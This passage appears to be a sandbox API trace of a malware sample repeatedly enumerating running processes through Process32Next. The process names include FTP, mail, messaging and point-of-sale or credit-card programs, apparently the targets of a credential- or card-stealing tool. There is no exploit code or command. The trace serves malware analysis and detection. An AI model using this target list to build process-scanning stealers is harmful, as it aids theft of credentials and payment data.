lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0248.717] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0248.720] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0248.723] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0248.726] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0248.730] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0248.734] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0248.737] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0248.741] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0248.744] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0248.748] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0248.750] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0248.754] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0248.757] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0248.760] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0248.763] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0248.767] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0248.771] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0248.776] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0248.779] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0248.782] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0248.786] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0248.790] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0248.794] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0248.798] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0248.805] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0248.809] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0248.814] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0248.818] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0248.821] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0248.827] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0248.831] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0248.835] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0248.840] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0248.844] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0248.879] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0248.885] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0248.890] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0248.894] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0248.898] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0248.902] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0248.905] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0248.908] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0248.912] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0248.915] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0248.918] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0248.921] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0248.924] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0248.927] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0248.930] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0248.932] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0248.935] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0248.938] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0248.942] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0248.946] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0248.949] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0248.952] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0248.956] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0248.959] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0248.962] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0248.967] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0248.973] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0248.976] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0248.978] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0248.981] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0248.984] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0248.986] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0248.988] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0248.990] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0248.992] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0249.026] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0249.029] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0249.032] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0249.034] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0249.038] CloseHandle (hObject=0x2198) returned 1 [0249.038] Sleep (dwMilliseconds=0x64) [0249.049] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2198 [0249.063] Process32First (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0249.066] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0249.068] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0249.074] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0249.077] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0249.079] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0249.081] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0249.084] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0249.086] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0249.088] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, 